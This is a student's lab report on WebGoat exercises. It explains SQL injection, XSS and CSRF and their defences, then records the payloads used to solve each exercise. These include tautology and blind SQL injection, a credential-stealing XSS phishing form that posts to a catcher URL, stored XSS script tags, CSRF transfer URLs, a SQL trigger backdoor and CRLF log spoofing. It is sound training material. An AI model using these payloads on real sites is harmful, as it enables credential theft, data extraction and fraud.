20145233《网络对抗》Exp9 Web安全基础实践
20145233《网络对抗》Exp9 Web安全基础实践
实验问题思考
- SQL注入攻击原理,如何防御?
- SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。
- 对于SQL注入攻击的防范:
- 采用预编译语句集PreparedStatement,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可。它的原理就是sql注入只对sql语句的准备(编译)过程有破坏作用,而PreparedStatement已经准备好了,执行阶段只是把输入串作为数据处理,而不再对sql语句进行解析准备,因此也就避免了sql注入问题;
- 使用正则表达式过滤传入的参数,对一些包含sql注入的关键字进行过滤;
- 不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接;
- 采用字符串过滤的方法;
- jsp中调用该函数检查是否包含非法字符,防止SQL从URL注入。
- XSS攻击的原理,如何防御?
- XSS是代码注入的一种,它允许恶意用户将代码注入到网页上,并能够被浏览器成功的执行,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。XSS攻击的主要目的是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的身份登陆,做一些破坏。
- XSS的防御可以从以下两方面来进行:
- 在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤,将其转化为不被浏览器解释执行的字符。
- 一种方法是在表单提交或者url参数传递前,对需要的参数进行过滤;
- 检查用户输入的内容中是否有非法内容,如尖括号、引号等,严格控制输出。
- CSRF攻击原理,如何防御?
- 我们知道XSS是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息。而CSRF是借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”。
- 对于CSRF的防御也可以从以下几个方面入手:
- 通过referer、token或者验证码来检测用户提交;
- 尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post操作;
- 避免全站通用的cookie,严格设置cookie的域。
实验内容
- 本实践的目标理解常用网络攻击技术的基本原理。Webgoat实践下相关实验。
- 实验后回答问题
(1)SQL注入攻击原理,如何防御
(2)XSS攻击的原理,如何防御
(3)CSRF攻击原理,如何防御
-
实验总结与体会
-
实践过程记录
实验过程
webgoat开启
- 开启webgoat,打开WebGoat:
java -jar webgoat-container-7.0.1-war-exec.jar
- 页面会停在这里,端口号为8080,将此界面最小化(不要关闭)
- 在浏览器输入
localhost:8080/WebGoat
(注意"WebGoat"大小写敏感,拼错了就进不去了),进入webgoat(用户名和密码默认便可)
SQL字符串注入(String SQL Injection)
- 题目大意是:这个表单允许使用者查询他们的信用卡号,使用SQL注入让所有的信用卡号都看得见。
- 直接输入它默认的Smith
- 只出现了其中名叫Smith的两个信息,并不是题目要求的内容,这个时候用最常用的SQL注入方式
- 可以看见输入的Smith在两个单引号之间
- 我们都知道
a or 1
不管a是真或假最后输出都是1,只有我们构造一个永真式“1”,那么不管前面的WHERE是否成立都能执行! - 所以这里构造语句
'or 1='1
,成功得到了全部的信用卡号,为什么要这么构造呢?第一个分号用来闭合last_name的第一个分号,而第二个分号用来闭合last_name的第二个分号。这样一条语句被强行拆分成为两条语句!
Cross-Site Scripting(XSS)练习
跨站脚本钓鱼攻击(Phishing with XSS)
-
这个题目我们要在搜索框中输入XSS攻击代码,利用XSS可以在已存在的页面中进一步添加元素的特点。
-
开始随便输入一个信息(错误信息):
-
我们先创建一个form,让受害人在我们创建的form中填写用户名和密码,再添加一段JavaScript代码,读取受害人输入的用户名和密码,并且将这些信息发送给http://localhost:8080/WebGoat/catcher?PROPERTY=yes...,完整的XSS攻击代码如下:
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
-
在搜索框中输入攻击代码后点击搜索,会看到一个要求输入用户名密码的表单
-
输入用户名密码,点击登录,WebGoat会将你输入的信息捕获并反馈给你:
-
XSS攻击成功!
储存型XSS(Stored XSS Attacks)
- 目标是要创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容,这个很容易啊,在上个实验中我们也做过,直接在title里随便输点啥,然后在message中输入一串代码,比如:
<script>alert("you are a shabi.Had this been a real attack...hehe");</script>
- 提交后,再次点击刚刚创建的帖子,成功弹出窗口,说明攻击成功:
反射型XSS(Reflected XSS Attacks)
-
当我们输入错误用户信息后,服务器校验输入有误,返回错误页面并将错误内容展示给我们
-
这时如果我们把带有攻击性的URL作为输入源,例如依旧输入,就会弹出对话框:
-
这个效果和上一个存储型XSS实验的效果类似,但是二者所用的原理不一样,存储型XSS是持久化的,代码是存储在服务器中,比较典型的例子就是上面所用的留言板,而这个实验中用的是反射型XSS攻击是非持久化的,应用的场景比如欺骗用户自己去点击链接才能触发XSS代码,也就是说它的代码是不存在服务器中的,一般来说存储型XSS攻击危害更大。
Cross Site Request Forgery(CSRF)
- 目的是要写一个URL诱使其他用户点击,从而触发CSRF攻击,我们可以以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。
- 在message框中输入这样一串代码:
<img src=' attack?Screen=自己网站的scr &menu=自己网站的menu &transferFunds=转钱数额 >
-
一开始直接在message框中写入了攻击代码,但是没有成功,于是我看了其他同学看其他人是如何解决这个问题的,看了前面几个同学,他们好像并没有出现这个问题,终于在我不懈的努力下,发现了小明同学和我一样有这个问题。先在浏览器中手动输入URL:
localhost:8080/WebGoat/attack?Screen=277&menu=900&transferFunds=5000
进入确认转账请求页面:
-
之后查看了网页的源代码,发现
transferFunds
的值变成了CONFIRM
。 -
点击了
CONFIRM
按钮之后,再在浏览器中输入URL:localhost:8080/WebGoat/attack?Screen=277&menu=900&transferFunds=CONFIRM
-
成功转走了5000元:
Numeric SQL Injection
- 这道题目要我们通过注入SQL字符串的方式查看所有的天气数据,我们上次实验做过类似的,只要加上一个1=1这种永真式即可达到我们的目的,依旧利用firebug,在任意一个值比如101旁边加上or 1=1:
Database Backdoors
- 实验目的是实现多条SQL语句的注入,在userid中输入
101 or 1=1;--
- 试验成功
Database Backdoors 2
- 根据题意:使用该SQL语句实现在myBackDoor表中一旦添加新用户那么就在用户表里将新用户的邮箱改为题目固定的邮箱。
- 插入两个SQL语句
101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid;
- 实验成功
log Spoofing
-
这种攻击是一种欺骗日志的方法,回车是%0d,换行符是%0a
-
使用障眼法来使用户名为“admin”的用户在日志中显示“成功登录”
-
在用户名中添加hhc%0d%0aLogin Succeeded,提交就会完成本题。
盲数字注入(Blind Numeric SQL Injection)
-
目标是得到一个存放在pins表中值pin的内容,行号cc_number=1111222233334444,是一个int型的数据!
-
首先尝试系统默认的101,发现显示Account number is valid,说明这个是真!这个很重要,说明我们可以构造AND语句来进行注入,用于判断后面的语句是否为真!(利于夹逼法原则)
-
不断地尝试。
-
其中的关系式
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 100 );
-
最后确定答案:2364
实验总结
- 本次实验涉及到的知识还是很多的,并且其中有很多攻击方式,其中有简单的SQL小实验,也有较为复杂需要额外的程序来截获信息,并加以更改来欺骗。
- 最后一次实验了,老师留的时间还是挺充足的,好多攻击方式自己理解起来还是比较复杂的,于是我在百度上找到了很多PPT资料,以及文库里面有很多讲解,才慢慢理解,并且老师的kali中有很多实用的工具,虽然这学期的试验都结束了,很多都还没有用到,但是我觉得以后肯定在自学的过程中可以用到。
- 九次试验都结束了,我觉得本学期学到的知识是真的蛮丰富的,对于网络攻防有了基础的认识,并且恰巧在做最后一次实验的时候,一个勒索病毒在全球范围内肆虐,尤其是听说对于校园网攻击的最多,吓得我那两天都没上学院网。
- 老师在周末的时候用虚拟机做了实验,不幸gg,但在后面老师也发了很多这个病毒的信息,也让我了解到很多。
- 总体来说,本学期很感谢刘老师可以教我们这门课程。老师很和蔼并且上课风格也很有趣,也讲了很多的知识,我收获颇丰。